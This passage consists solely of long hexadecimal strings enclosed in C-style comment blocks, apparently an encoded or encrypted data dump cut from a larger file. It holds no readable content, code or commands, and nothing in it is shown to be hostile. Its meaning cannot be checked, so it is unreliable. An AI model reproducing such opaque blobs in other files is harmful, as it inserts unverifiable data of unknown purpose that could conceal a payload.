cf3c324b7063c5670ffda9b99b2b15738401a4449ea3468bd51b11fb4e60d31ce07b1ef669d6463abf0af8fe75e646da8ce851640923aecf6442455fff674cbaa2810af49bc1a09fb3a39737800009a9e9d269e2d702b6b92d4a7244aad1b67ad418c36758a7ddd5c7db2c223ac59dba0a08926f97de0087930be73f418817c827fabbc9f548b2ab2456d7bf60327fbaa1101b68363bda9161351287b13c50fb988d312ffb2daf6e59747f73396bd74c6cd44c87007ba953d25e6da84f51563ce802d003643876a08b5ca9af7d9325dd1d870e1f9d5717ba5469589deebfbe6f9c9c543ace28cda8990dc37d03412faea3655d024b3dcafbea57c4b1baa97c255436463726dcc42f1be288de82e1ec889bc13ab482d45ca03bcab5c3ce5e7306ce390d5e3787daf833c9fcb155f55ff98680a9db6b486a7877beca2add110e746a0b2ea30935dc64f6b538d2b49496ac53b05d65ce67fcb0b59d27a333deb14afa125a0cb6c3f421215d082cead9945b88b30f36d0a4356790eda29fe6408e638ce7ec493cc1523c03fc762ef4b3b1c63550f8210d26af94ea25fcfbd0d9977e884145d5ab9ef159498b1bbed6052d1e1aef5ebb5bc18cf8113000d3a6ae621a85e880bd877caebe347d1d06aa10e1f7a33b7248d423b0fab*/
/*97a79d829cc1bb395704061227077b0dbc48f4b053121e2ba714e928bd220f25a9232a210c588deb048962cb680d13c3cf56b85cee059b928799572a0d3f657f6c639e9106dc527ef64544f57aac5a5c6deae61f1c9f7c93497ed8534bb112d9b81d30d2a84d3f55096b022968828ff77c308143cea816e4849c826b90bcd4a4096d71329a7c6a02116d5d5ab6deda671f62fdbc460d89e219da4353f37d062de23b7e930f8199ef45373a67e6762437095024956c747af440c46a6251be43b5fa044432237fc7703c2f4a02eb3c4ceec84fd2ad35fcabc72a5eb6d3dde8e3cc42f58d0b7c3dd30069ed1e0af7c7f6c0ca8eb5e6f5bfae91871d2c00acd86b5843f2e5462d3c7102bd07f6abe1de3b5bb1ca44a70b96de837519530da9af2acf46ad372a3c46f82d87bbe7907931a94eea41e177f03551349203789674a1c57d2ba5c76043e88ff33163ce5f05d5be571aa167b732b3907784c9262f2bc76c345eef087161150aa9b6842526e2b68444e27faaa5a264113424aae40e33b45ca9eeda4872394f04676bc26422434bda95691be5750d11a7ec7bd4746bf9d076507ca1b5777728b5cbde8dab793cd94b726aaba8cd80ae85e076149aea96a328df716e36fa7ffcb3b02e83cdedb94804732d332e36c4ffc43e24dc6037d49a9e90a44d43de8e244a627f0b82ebab76eb4eded52ac5beaa0206e32752fc4e6dcec71431a0fe0e408654ab188dd6259196151545867555566f32d664f71add59fbbf059d661fa76b533a1685823aff7e7f78b7a47286f12e16c689ab740bee24c3afa951f09159db0a3ba83a0570d933a016ec3bfb1faad2684db1f8caeb99b57e7b6381b32ffee54a2b89b9b0a60437b71d0804256c9c4a156c50e152eca48f6b4e579602c3530d2994a48326f17dd01a98b25f20d3dbd0646e42a15d61fe552bc426af36b6ec001161b0d4e4c793a2141bb3404a89140d73d5c0dcafa091ce362a35ffa509e1255bf4aa30e2e0dd00ce8ccf3d6dbe4b2819fc8d952c07d4fde3683ef1f5adb8ec96512eb929e4cebc4e20636a7553eff358588a903bd59d2e63e02a16d368785dcfb3320872f08742d9a188c1f130c6af9843e8a9482dee04663ed4695656bab87da59b3063b34e169a3cefbee9bc1d939b9393be5413f1abb8cc6fbdc93db41453847cfbc9f28b919b10aca81b77a5048335d8358b458a8a2576a012b910e69730130bab47ef0ccaa18cf59886d9d3332b970ca9f8da6324412186964e5cd14a5a1d3a3bdbd9712eaa1f4a533e0ac9ec63745ad8abad9455af7ad0af9b2b50aa4bdea63785f8cdafb9e71b6f805d5906524beea450d91b64a1ea5dabeb5d56d37a43ede9fdbf79c720d682f833fc837ba467f1dc7e86c15eef494b89f639a7e9eca61479f04fa74ee947cb12c589f2a094ae9f956ab34c4ab2152e400ed920f986e82d2c6c154a705aefb956fb36b22846b263bda8799c5ed8ecd8fb7bfcf6d440874508bda0e6ce1fe49d6e395ac982ed89a9b301344f014666c7f4e1b9d77e0074ad058bf9bafd4f887b8295ef4ff207f72a911f4959e3a18ed6615ac0df225cd3ef27f5a042b304f483fd2a57ca9c214c8ddf2e0ce0489281f3160be2bf7501d2fa85e652b678e5b2e8c7ae52284841ec82a1bde7a902e6b803ed975147626242487eab7c9de1f73ad8ffbf5c3ff3fbdf99aefb69dc382e404b918ce8e53bf8bd4f6353c6f96ea87952f59d4ffef69a7452834cfaa665222c8f35e5bbe60b0ab44f43150db60c3799766aae96d41236f5fd7c5fbec67fb0d06ff4433aa25f21e4a89a0eed79e13719ef0cbb3dc6f0487db5c6e47c031177f13031d414236e038f29ef6a4ab42be35505db61cb1e1eefe3e9e8eee3e5d6a93f5d7a3ae7404248d1e88803c3eebf4958a7daa313fa4f95483a73707b7358e051cb958168fc39f263053d2dc218a5f2a0f29ab9a3129d7e87ad023a1924b1959aa78d016f322fd809c7e8fcf4fd1cce3177c17a88de927c82afae58c51cf2938b509354246887d49bd733b60f3cd8cc4e552b2f53db613c44ef06e97ad0fc92b7fef1683b2d012c8d77d2e57021330722f9fae7151d402ab45a25651a80eb133beaffb59a00b26fe556537ca41418485ff1ee676b52f615c5d27f1eaef71e9bcf0a5b0d293bb3210b2fda47d3948ce49aacf921eed28fc38d605564e7b812826320d6d8e85f663d28a0600670b15a02cd96c976c6c250d2b59a3e607eb1cd8f31c3fd8a78e6cc0cb3aa7e640ad98c17a7f0dc11f170446cc11b254619cc116ab1b37d93c5b847b1f2321659cb33e39a3faa748580ffc411aeb6e9ca11f4d2b61a44370e3107848e9b7ac763bbf0c3a37767f36e526fff8e796db7eb2dc534fd396d201715b7f28ec16373fffc8869b408ab1dafbdf6b9bd01272361f2d7a51fe29a5cc2763eeb0f5c62a7f0bfa9e3317af6d82d97184d836734f58645815d0ae288830c5a6e7ebf9e4cac48e34c117381f1221834510a34130b9e99d1671720a0d0c5838b654bc0ff7344a291aed5a2ef3872d44eda664cf3589c50011b118da3e857d1bfb6702ec41d560afd6f9c2450337eb2af080e6e0969c5ab9b2b022320e38e15d2d5c0d03e4dc94dfe16539059232e63a0b103387483fd1b34af4767f8f79e036ded6584a34e961156939514fd577320abaf1945a580162c3b9eee9a3ec07ced9a09be36d2734857006beefc39e330ef7fc4a895f4402bae488123a4ba2152f1dc3193b09304cb0910a5e8337c9da19753a384d5195da268722e64fb6c822a0eee2dbedcc5aaf55667f76e9c32*/
/*fbdd2e4b9bbcb1be1033eefb2dbfc638483c15873ada8414892ea72287d9883936124b808fa64e774287da008e09f969a9de99891b4ff20fbef384fdd6b81fe36092f0dd9c0e61a0878c22f002c9eb3be726536b3ecf97e80b2ccbbd99ce6bf9ae174c1aca8f580d1c9799b579065a5b879165d31495cecc3a4433f6f86fcdffc2e784f9666a914ea3bd4f5951d9444097d9f44dd0d290be897a2ec5dccf1629fe9ed7ef15e5024de9bc905483891cf886aabb9e72f091b9e1ed5c1c94d681cf26bbf8f6fe661b3661a2ae74a35c1fcc50cd7f9028977e3613ae6a852ef6432f133c86c435dda9739b6f444548dadfe9459359566a7b664123525178a79ee9aff07c0465b223358c3a3ced1b953266e2046c95c74cf193f4b6727616310e304775eea779b04098d0edb496ad7127b1c990242725823578ea9e6c96879ced8b3b07d766c0d1e8821e2c7719b358f2890ac493968c6fc9236bf2411307a46983ec8ee89c49a66de9176aca85e59edfddf722cfea3ccc969332dd935e0c5c2953366ff7f17f81eda73750dff3abcefd8ed67af966df97a833f7e290959e628417eb168e09dcfb2d97de08b743baff9d3c5b3235f11c6a1f57cac5ae39f98cdfdef0545de54e014ae7e44d3163be5ec63fe0c0b01fcdea3ec8a9d657ca01015ba1baa3b53419e1463ce49b781c59d59cb4bd90995a8c5ddcf3fef103d2b08e91914edc3dac6e00e64d78f8ffdd48260055dfc8a4f945efcf6c074f18c09b5df397bb23e937ee339b3c19bca2ac0aefa807a87dded6462f6077cc559ba5feedf79e79b31ded6101d67848fade2fdeb40e80a7f10ee3086807576db1c0b1f703a2ad4aa16c4877c25b841d2f609e17075b16a08b93b3bc9a7093afceac86faaa5ff1ae61b7e48318712dab24b54840a91167cdf18edaea4cd9b5a7fcd9722930c6bd23f587e0268fffd20f964df825e8afa56da8f942a6667855376d796081d752c143ae87d201e94e153dae34c14bd1814cfcf0711cc18d1fd3414fdf69203a86e175993ca7369edde1fbc12731676526f1da9dffe9d6e6218dd4328568287af2ff9ce89ebfcd3c64bdc71450775bef30b19e06617f8f8449f429311a3fa51af680dcd0b1901c5c6204094fbff0886b1d9e3bb65cfb0ee9ce783f8c5a79817b38216de461c8d438ad9622dfad803cc684ac572968e45b6e7b218d2afadbeed257ac4a7b86cdced6279dd6cfdcba7d76f4bcbada2feb3e398a7eb3079fa46339d54dfb7eea11f21f783e8efeda8721c16b57e37567517f2294608947dcf312964635bef968c2fa6888df93bb83d4f3cde4341035086a8aef68aea7b7cd56698e675b038ec825b879082ec6212ae4e9c47f82a5eee1f2cf6092311cf1b5205c6ebdd9273b7f97cd3ba73d72703eab0ff488f16116ac832e0c41e8332a0feb28eb5121008143aab34b78b3cfb9434889a2de64aad96fbbef7342aad504cb60768317caecfa42277eec0ba343e9fc2fa9c880c0f5a4199bef4c7586aa2f8fa30c7fc29a9070f63dd79a2f12a44a6cbbf1a233573689c3d5bd2e0d38cda1a79dc4beb5170c05479a684439cc6d45a1acc651ef5cb62ed76a33740a3c6eb632a6e2f58bfb0a94cb7ab580d57545699cb357dd20884f0ba5dfc2c598e1978c25ca7ab58c5b95b565ce514caa1f7d376e6375468e907b7c324b8ca6b7fb700753a39391d9a9afe408eac3f4d00ecad83c6fdf7279b1a1be3ae00d475c8de4a9d9aa30d0569d2c56644ec212d8f6aee7a0fd3147e336bdf0d5969ab2785a2685c70e8f3aafa0452ba2f671fba79455a7b40e5a489ac0fbdb0e9e35cfeed99d5b0ed586eea946c2ed6ebb7f16370587a2831cf8a1449beed8348617ae61d3baf4fbf6b187e7f4dc723958b5c6c32bc0e25c0a39b7520353bef1408a51fd3b015bbf3fc78c05075247f865fd2dbcf35335090313a811be778baade6d149047b286426b07f86fedccfbba7a13b3c694d93866fc976c6592ef8e4c0d1d1221da60b33bf176683ddacf0b6f5d483fb40a7c79cc546660b6da4392b69177bd623211ac7ed0eaf1154aa80ed9eb5b6721f80ad6a585e88e5ee4043e320c9e3dcd7853afd714fd2a27a84eaa482dfce9fad320c4e587065ff7eeaee011b3d1b5300a7b56966f78c88172ef0469017e0347c601f9dbeea8deb5640b4847cd2ae7dcfb795960fd5a8639fcc9ba873482f1488a818b357b243b5f7ae6f1bc19a5c671e379c99f697459e4231b745cf053f26a5f892ce541c84fc5bea910830a001681f4b5e129a0af003dac94d90921fc3d9f7d4f1740505f8bff82551579d02947bfdcbf6c989e179affb717165d69996e14663f9492ed47fefa103481e4e305e15891aba3b0a3a282d3a07b369bacb5e3e8f0e1bd28ee9dde7b0c9ac1ea7e18064ab4d828f7bfe7f555a2e06741c5182ae836e0b5bc436db800176305804b34f8f060514a5b63ba486673c8fc450e78bbc3e8e1960157abd1f462de6bbbda54d1b3a33be52d3ad33e4ff186e0a3a8e8c670fd3f1c59a65177346740b8dec5462c72a195c450535d308efed02413d55ffe051410cc7b93ccf223fed73be5eba9846a175383189883070c55367c05a79d224cdf3518ac490622e93a2f89cab8aa2e1c346143722afe0ff41babc34b982784b6c379400a52eca3ff3cdc5de46f5fb85e823830bd3579974ba6667fb942a0ca11bbad655a41853577f7095577c0cd1b210997f4c11e14260478147ac107618ae8fd3dde54d42e76311e48fdc7115bbf70c23fec19a963bc5714c5f96a8a1f3fe7a9441e42aff970632082*/
/*0c31b339548c972d8671999b867dee7ff0c213e9b0725773dc7473d1bc3c4330ede9d1df5c48d5ffd5ef49b657f1484c0b91e9679f19c98a7f237743d07bfbf8c27426d53c8e86d16fcfce872754bdee14e1b167597c23f25f6c95614785145d9cfd678e8081b96dcfef915822d22e468bf6e8914646f0d45ae64f85cba05ed2f475a0809d057bb013b4650ba986b483afe211779fdd89d9f8cba5a15c27a6d09f6e11e156e76ca567061c90ca624287390175259dbab7357877db5decb85c83fe015fb123c383cb0090a81f37b0c5fbbe0a346de7d80ff50999b902b5e724dbadb63ca33324bb43cef4761fad0632ffd8ef290315c032c9c9f3643af214226d1370d61c9d5f30d1584cde60232d90bf0ef3e2e6092c096fed1c13164e8d8a20fe75964649a7dca4599888d2362cd0f350faaf8526fa58686b3b186d17c210ce41c9c0714131a513617a95811cdd69af2b4df7e42880e9f3fc34d39dc947bba7c94098fbe3c86038e3132638a3c5ec27865d993483f9b5f4f551bb5aa686d160b7891e61fec6902dc3ffd0366654c9d81544ba17bb697fa9bc863ff5b284e38a2695bb0eba7eade5ced4cf7f9c741d48d74aeb960ab267e2e4121e8ccbec79d2d08106299f50afb5f41074c45a9d484674ce8ed4cf9e9e086ad15473e6823292d2438ecda083d26b789761313a15ce9d879262fcc7eea6ddbdde655d81964f8aad4d1a198d463cfbd12fb803686169536ea7d0f2c12e932feb7a5705841a190325ece0b93c425efc464c1ed163bb8028059f44e5d70642a7794d0484b646342b267c7aea285da44da7539213ac7601cc5c51a94ff6f3c88c960594abbbba7e741837f7dc9600783d171064f86162c49fda6c6262032af6b3b34c2e0b41b4b1d43e9cc308805982d79bfa74a311c3a7a2b1752df6239056c2c1c8a2c7a9772835270109e4d37b7bbf87ca6584de430d42713aa38c4163012cf655120521b8efe9eda33053c8d22ac331f80c0c8c27b22fa5664cc5db2cadcd72977787d65a6e13f24a62903f2d3e819311207d61e9d91a5d9023541f71c6180c92e51a527e63cc474571b4b9af798d77c4aaa42971dca0cd09ec97b4deace8f8093169d93cf97a41a52a7568ced89c7837df186532efbb100fb0f0376a7d9f20d53792e7d446a084df064533aecf2c9633bab63ae5c8852fde9238f9fcec10648153facd95be499c6444dc477e9406ae8d33bc9f0fed98d3161096123b01877d06650e87c996b2b81c67528e5b29a4b4bb7a2a1c6444fcd50030369337f7941907fc7e99beb29a8bd25cf20267301a73c27273e424cad5a9a3b6a730c7d4056e3392b2c6d75226c219e6aa6bd975a5debf50e2c310b32554d9f18b3670e18c8ff466214f530f8a2459cb46168c7a91467dd77d16e6cf8dcfb7265b1e1c9fd7b12601d09530dde9073ceeed9b08aff3ef41535f57666231e86039b363d3ee2bb026355bdccb77faa012c077717cfa399fa974f709f4bb241188cca1c0a5ce0202bdf9166d60fb2241916cf61b68beb8ee5f12302f01fb71c87ba7a73c9aa0dd34beb82856f6ec661768252104bc932fbd82ae718880dccfab46180db35bf9358bac16d68f49061d3466e45be74c3e2e467206e890036737a6f39fd43cd8894269e60c617c12e51811d3bc3ef62ecfb00b81ddbcc08690aac86796fb367ee339ca48da4c871747d667dd05f539fb306c0432fed579d214dbb5af2a931d72891908ceda2ad1ef8517774e9547c1be3a69e81aafda5bff2b4e81f5c0b6fe4d21ab329561ca4355d90d8f156f8896ab807ee24bd08e60cb65ff47dc385e7a399e7d7f6b4c4f684d86f449df93942306856b31e768f4086abb6b2257351da60ca0e6c457a6e8ac14a1432a842a545c0dc0e25f18d1cc61ee3bf01dd44663047961a2d1188c2269b32ebf4ec2f3c97aa99bda84f1b9f86c9205bfd38dad0c9ef0865020bc3a4b98a5095b2e8ac341ac533a359774c8530b488d9d6f34d3df80e49f6784f4f21c0ead161089a1a3e792f842b635023e2bb7d511765f247e9e0acb72117009daefee433ec7933e6e5f5c7d027555a83f3043c8dbf325a465b4681422e6a0468a841b8f3b61911f5aa9ec57477dd2ff2a1cdd1e0210679cfa678e9e05d84f7cc4a77694d47730bb2caff78b4d769ac1003ee4cba6757af3916c9a5639f0b9437aec8b7e71b79797d9a95d5a76b731b92b8eb5d681549c8f6cc0a4a49f3287fcda9892ba11f2f828577c3ce17ea147e7c73abe8dbaa51c474ea1ddb4f278b19a6ba73b1e58885d2acfca350be94e4167dd02fcbcc2a76e622a5113aca0387696ddd4f9cca61607d488cb8d52d1e165a1a9535319360e4704a474161c7192565515d62ef190ad09a084e0a9124184b9b660a6ccba1b38a1861eaa81f960f9bcc4653c2a5ccb87f6d1757c6faa6a5d4359f094b0b3c57ee3905011af5927ceb4abd8677fc8160d0aa5d0288afe47c8b224141219b14f8d7cb24ab002704eab03c157f3b0da6e2c5757c38158f7f241c24dd0e0a292178414cae73cb56ff31c44bc96c6c92572e8d426045cbc0d1cf62076bfb9d7a06c95ba3c52c916237ca0de9b2e6a5f2cc493a2891f223848b3e6bc4cea87ec6dec209e70df6c5a4083ebf33a2e94450a8c0bfbaa9c3effbd4510aa37822c9fc2e00b249041652c27fd974611719d7f0703929d959c517db85cdb9328f965754badb992b74d7546815310223e30d804b7fc1553b9fa46fde78918964b64d1706a97ee408b1877484d5e8e51a6012b53e4ace0706443cd3c49162b633bdebe86b6dc75*/
/*142ed5520d0a20dfb474e84e8ae2227eb00e3d3fa9160a5d556e6c968e58905c1967096643de8a95d596d8c38380ea33b93df1948edf5c87ee8f1dabb230ed860ea70da0915a861295d111319fba08c9862b08fd079b1be1ad03a0cb3ff6bc64e3ed7ae2115dbcc18c88fd508d74bb6b235467889daea11db34b61f6381f6fe1738c186d974a953bd070d4b823078c36d5fdc2da8a65a7bdb064b7e6dba44fa3e92bd35d83bc815f5575682049737b2870c3529b2a0cf2bc6b264d495f6261aecd50cdabd670998cce007a3a830d52a77ce31551260ee093a738d80e1026a43b052fa6c51b593b5a6f1372d3b7727474d247732a25965c61e70c9a88dff9d8241eb5711aa20f259a4e43bbbf1a4eee0fef08af90d99f13b2f4522ec2bd983a1d1c688d89c804e517b4371932975ddbb14233677b923736dd513e8846b798714b042ba553d105431b51070c7545abc12aa2401a97d741548b8a954b3ca4623391fe95cd05f71c67d50d175f0b4deefd98419e0e8886eed92ec17fe7b6376a2e5c02849f75b8b4f94002c0b88a975d6080c5c16afdcb82e110855343cb2723f4443897ccbc0b8c774ccf2e14de605169aff93a51f457b2890b58119acb3403dde8c4a652db39d1087212f3a4ae907b1ed7c5ed7a06d1acdaa6a7aac119b58255b7a26cc7a8894b327427ce8fce1766aea4608d1393dca8e825be9d7e7d0d6a87d9aea71c7476ff2a54ea641ef21e0d635c604a856141fe9d5787a1ba2c290dfb7e5265f98501dc0266a6fe361077ea493d1209ef73e8082cad716febe0c0ee8c9208d8b1fd9e728e4b8b5846e23d9db0372c1eefd37e612b5fe8e578a86cb99877004a3df3eb81d2ea5e2bedb567cda14350ab0335f1da476f6355e9f817bff1692d14056baf097fad448ac1ad3fca625c714dcb7e2b68154c67a8a07ae8d269489b040f1bcbdf5a8ae42e98ba78a4214764dfc8c95c60c78e9e02d2283c2394261e75217512e1996d49e21ee913ce8dd654c2a22a575719a4751277d05623ace27987f68661fae5d1d8c727e89f4dac2d4f5851f0415a06aceed1b43ab905c48304c99f8e364f801f9b3a32528e5df4c2e9c3757ba586829d5c26c535d139a94cf323a476c34e7d8ab02c4c65ebc10b224fed92d63c7fe8c24682f20e837dc422e90be1a98f45dd43b6468624a4ef9f3723a9ee2ebeb86e10eb8cd58fbf552312ce7e76e32ab48834b609a280b7b6825a07643744f641c4a9cb0f8a2ea412a525c729f8c18a2f6908b640c8c6b89270c7b8837b6287e33be1eb6fd49556fb8303325c8b823b38be7da8cff8c6cd9ce45d96fec0e2057bacec839c976043f6dc4f359324920f9ec98ae4733cb70da9ce49124acf34c4d8d658c0e66a487f58896d4ba3bf8c3b748b4d0c6b5fd481f67c84847b33be6b92ec0c53b60a64aa2595486991e56d20dfdf8cea7f3ac1315134b1c9829c1ed444809f146afb10f49fd7c8763766fe65717277e1b8756ebe98a7f7ef091bfd1823566834193f648d8674b55d4d042b43bd04922c8b05cf6be5e43ff59b523b741531442ffb8dded0248cc39cf3407195e0d229538eab143ee02e5bfa56472fc8ed5c94dde3e4511d4f5bc1209b060b3596d884a4db029ea83a770f294d3818818434c64a4da7810e86beb276202339e9d4c8f3a15fdec1d8a5cb4a00feaad7bf89bedb9c09653e197ba09af66729b93c8013aa10cce0fdbe385c88181fc3157c495001d197c3333a424a75448bc90634bc712bd7dcbc46128c31ae370f8177fcbec1a14282113a2a3bab86a84cb14089123b0331aa0e699f409af3ff58e7a41113b953fb162f7c6a68c9ee647fa4bbf978371fa528ba97c9195123ac19180bed7d5ed827f367cd11b9c94b04210fa61daa0b7598c43342c49b6a1e7700db07774ddedca1d387122f9758cbe1488e189975fa018e763c089b0c07d0c4c8f11dbfaaf8c229a6cc94c04a5ccd02572b0062fb96a92cd857274d89a4dc1583b237889d416de8711965c24292568ff24164d2d2c6a19eb0a6cef76aa0fc2fb020b02f30189bcf11d24da6fa5707a197cfd291809b52a882aeb5ebcd9fecb9160751955cfa19b0e50e061cd4a8b916db5064f31e5410e42e609f96bd117383d5ba906ededd216cd91e52e8a91b4edfe0ed4c4c0d485b754b1080488dcb0d21aad5e9ce885a060dca46bad284d47da16a82e0fe074089f53d5502a8e4cd667bfa90d53aad9b87c17b2a6066601e9b913bb886e8e33bcaafa068bf948149bd660d34b994e22a218e1a357ce54e46247c69481a190bbfd4e4743a60fe19ae63bc87b7853892aad4ed2c120aa98c39cf0daa3d462b8487c4407e1bce1ee75ba12f4be89b35b3fdfaf5aeda68091407d55f34e114af0028013f8ff25ed6452f013403c059eacf63dac265bf4b03b5b37abfec9d5ec5c28a8da459818bcc0e6656297f457c135971b29aa823e6bee74971b099a45082731e336bd92fcb62cf4ba33ec247aecf7f13cff41fd5994ac6deb0cdad53307b4e206e7f53e4de94d13c5b8a643dc6919ea3fec28fb3980e305fe95215a8a81d7bd9795408dc282d1e303d0f00db444a390a45872054f5d8a010cb1864eace437edc5109227826786bd613da0dd44c8612601fcd50d073295aba8bf1a6eb6b3680681e903e3f1eb41af64f1e4dc5820941a46192c606bf65acbe7b32623157eb7fcf96c70a3e17927cba54c80db982c6f81a3844f9f0d988b7c74d8dd7f715ca64f7eb0bda7f6c99b8d3357675e45da52f30cd2aa5a63fa24c7d35e2005fa20ab8255fbaf9fb545e8c772b*/
/*9e802e0e67651539b9301e201ce9c53cc225fd4286124211dc560ce415692b9ea69e66aa69315ebaf475470d9554e836465b76fc4833712712f871685b6f80b35d931a1b412f4121638e9828dbbafda3d6d7e5184a5c20afa2c17cb35fb33b0a51ba54df74a6a3bdea4524e39d5299ebd9e60294fe6e3cb7703cc7ef2d0b67341b78c88d6324e2587fe9ca61a9e87f11229eb451fcb4e516ce3cb574aa40c283ba0d0d9090c8510749ea7a6db7535ca93a11e2ae78d8ed019f8bec8182007837469ea2af87969d6447a3bbab53752815d94d971a5e332d22db9348971e9a9cc73198d6b67bb7a23a94433a0ae66043e8e4b5bd967693cf2a410486d03e06042b10dceccae7a14ea56d566d132bd723a8175023bf4dcad5bc6045bb8e7ab8de1262d4c2ee599b20601f81d36786e24d2f13a6cad48bb4a5e2b3d35e6a797a0a8f43e064275e550ddeacb7d1bed97298fd199c212347db49c3c9894c65ee04308986ebb1593cbd53c2763ac0985962eb3d417fa3f9773b91b54cfb8eb27f5207cce480dfad86d03a585cc0d0beed09fc5efd3fe5a13ac166c2fa4b84dc884c9e1d97ff6d18c338d69903b9c1983d3d7970b1666b59420f5e0fc836ac3813fd558f9ad7b903af3ae0bfd44e5d7880953345ec7bc76b341a4a10876772a0c2ab96684d616bcb276546133076ecc39a9b74fad0f5fc4df7c3248aba1fe34f26b5ee7463cededb7590bd8f7588403745eb9c7a071fb90deb271c85e2587a007ce7331a91f21f9d4ed354a5e74892a33583ad4ddc6c169d5e4b2ba6d695046bc77285f7987bf7d09479622a70947b8335580a83f6a2f75fd926b5554f542998261a65ffa8b80dd32092406688c31c9ce9cbb9f24b681b0e2a077c9209bb9f08119ba3127640e1527c6ddc265e9d146a2da833379bfe0d589b457c1c919cc00ce4ba5acff9fc5eb39f26bfdb0e0c73ccf0c2528eff5a8be54df4dc2e04b9211dce0efd64bd8bdecafd226edac69939baa5739ec8f0f2f2a79609d3edea6285e15cbc0bd43e588f278db064dfd6745f3c88dbd36b96660126903e9ba8b2101cabc79c0c6ff35f736acfce7f568c5b94d71d22c5de08e116853372f041b6af24c49599bd7c5f2ac0733d32462c14d0b8d434244fffb59a6cf2a23e691a7b64ba081ef601a8d55fcb71f154f7d74a4059c636eb4e2fbc543a1af13186c82f299f5d9e7fa66ad70157f83a8f79937929c9868dc71c5ab1ccafa63a78f8a04b9643f8c8cb34ad2a78d7e6f4a0f7f6e4728e73ac586b80041e06857d0d0eb987db00715231b7b756b99ac57d62c3a93368af11c10fed2fa8cf4ed6414b8fcc71da02bce8412f84bbbdd94f454000c10175d1abb3b32c73b6298a6c3c34b5ae293e701b66f063117492f8710761c141a397e9d0caf946da78c025d4a189a810e9b2437c1a2f9e110f566c3b1b67cbcbb834ded767d42f743b62dec100a1036c4c8004ec86afbc8d5f82dbaa7813daacc732b4204dad0c2fd59a1685786ba97109f0cb1a547ed44e35f9aa7f9f037c09665ab3febcd16199e44ca6e168ec20618ba3cdc9e936e3503135e383e1ce7dbfba355dc547528340b2ed9a13ca8d78d9c0ea81aa13c680a5bdb1c5022bd43f8053d72794d0c79cd565d52e36ca5c9687d88a1e88d78059d02f7fff3568fe63ec7630d1bb6382846aa2eba483eaf1429ef601a80c5d1c056d6409af2ea6a43ad711d81f02f914d63990ccb76b682d3578d77b31afabf2cc0866b1821019855c0da9f81e7b4a61ea06ae4a221dbe4e46722ee3f9011e5667502d8d183ee2174fca14c003231e6411e41bb09a971b3074dbccbf5ffd9f158fd652e44f915ed7f09854d747bef2ddff31e32c9493da0df578c8af76f12832229619d3dc67f5787df06b8e77116fa94983e0ac82d98b3b2e142f7062f8dd6188ebb236203f70ce683d4ef6fe0f7eab1b0ed2ab9ad589bae234369bd282d9e6ea57bfe05381c5820bee64f222325ff2c4d9db31c1cb661c2b95fd956184dd9bedc2ba5ce56f5cc73108554d52baef6ace43e6f7ac239abc2644f77a7abf8ecaf08023da397ba0d0334f81aa12b11b665f867b7f30dc429f3a46db328da672fae347db20e9639ec6a1a38e19fa4e810e1d090c15aa3129f0c29708db3d5095b96178889e8391e02e2820173433ed2974089aa9bbfde325a7586c3b27c57522f11d6f3a4609912fafd391e043c133c97af90cf6296cb66d4c9a30c3a1563f33cdd73020413a777bbd3742c4b1a4bebd5b807ffcce563256f20333f788d5825c3787bb94a172a95a3419bf3c272817e1e898d43ac89ccc2a4fe8020f3d205076076250c94efafbe9dcac70f988b19c7a2b8295cc29f03b7fac4b57fbcd21d77ab670e848cfa2b04ddb83df22fd6741411e7b37666a1a0349c1e33d58579a04a7141ba952ea401a171647d76028f77cbe812426ab429c7fbbfc6cc60bff215866646350d0f3e9470b53ca7c6ab1c91abb39d495c0a7a829d888e679a96538bb24e40d58e8450acf6d88ac2224dbbeaef137cc5af070b33fdf08e69e116b3828b07af9da3793b92d7f3ac09177f7af11c7d39b37d256e95f93efa9f1cfe404456d54bbff8604f64767d1516c643899c637863e4f88bcffe68c72273631fcdf4c4a29ea8b73abf41124280d4e5b05838f664c892fdaa6a67c303c048f6a1f364f67e107ab8967a99fb5585a1fdf4e55fbfe2e1d3163f4d7cb5b3759a08c0e9642668d0923b282bec6c07412b40949638eea954cecea27a28d59bb8e7d784605aa3100e4e366172966bbaa7771e3ddd19b1c6f3e57*/
/*a0986834666dec25fa48c8b839611abdbca87e7e1d461ff1df9b9b0269a54a30f9d75d98f55b6f105b4a45f7b822f9ae93957b4bf3699f1590b5723454fcc6183cdb4900f60b11aedfea9812278d3556c5ecbd6e15d7f07689ecf9302296fed8f258e83756f9e736160e42946b7e4c12051c27447e1be248a24bfce7c157e4de991091c07d833020b44f39c1abb6a400cd4c29f5fb00b147c697b8078dc8e0043771105c552f7754cc6ba1262143ad91b9010c04132a8bddc9ad84d9b21115b7ff5a5ad37ccccdabb423bdb0bc44aeb495d2d911ba71ada76d980ffd99e867df39f4378f29bf95c27babd6d025f7f0f241d437d585a684071946f90a50a5c08f383bc539fd3da6cc355513508cd9e1581ca464d3e49ac080254da3d993a84d678b03dcaf35aff58a4483cc3b0ae0586d83970774605184c3662b6645697fb6fce7cb436b340a14aac0a6baea59d72fbdfd9d1eb92575cd5ec1e5485795c95009a816a495cbf7b39392c3b8ffa7cb0445f0e4caaad0c3136be6fde2e632c7e0c9ed190024cb692084cb93152d91084a0e30414c5b98286dfb64b10c32ef3d2e50e2edc31155ab04db30639aa1711f02f3c4e0abbb6c3223fcd42b0697171f243d63c4c0bd6f5e8d02a0288e98be47b74cd345996c6c6bb6d17aee2cfd9e938e060434d846efb59a2eb2736264fac8a18f41321530fe7ef7bdc6f860529c68364412f30e4429e12a192ab16d9de31d4b000a0b2fcdbf9de76e49b59dd56085218c4633565a8e8b91c0237c9ab8c246c6a1060dc95396cffcbcc21a70e371d3cd815dd66ba5bb687e1cdaed43c88253367e224723913f89bfd1c97f2d10762d025c2f591ac484eafe6be74e449f3194f80af7053f20023296570129285d087ef48026167fbb8eb9c3178a54cff9e1a9a2df7464fa860efdec11aa241837c4380ea589ad30c4169133f840af0ffe8f2a8bd5b8dd7f74f434ac047382d53f149ba7583318cef3ff2384737d2329b3ea6c4a08e10bb183a74f1578cf54b931573ad0d5387ac6ac996a6195a749bc5ec826ad28b016e6d29fee253b6484429c99414749817535cca6066cde566b9356e9317e4957bd4cc8eaeb541eb56057a92058b7e8d8b5d3c9e4b4d34b8e5029069305438254486b5eee5c5356aad091092bcdd290b33e57f0ec00bfd21ee53511c545829a3b087bd9d591cb9e5d0163740565ede86219df625592e0dbf707c41a1f7bf99dfed199b0b270727561f4ec68c4c79f9292f6fd29d8b4b291d3e21b6c8c2399a5bd7981bc42459958a26e0ffc8616f93483abf7fc7468d3252f94376dab24bbaf3bd9ac31b796ad4046293eecaee87c1316109debcbb4facd70351c1e4f6ba9c067c4b7ce5c5611cc77ac781ddca4a73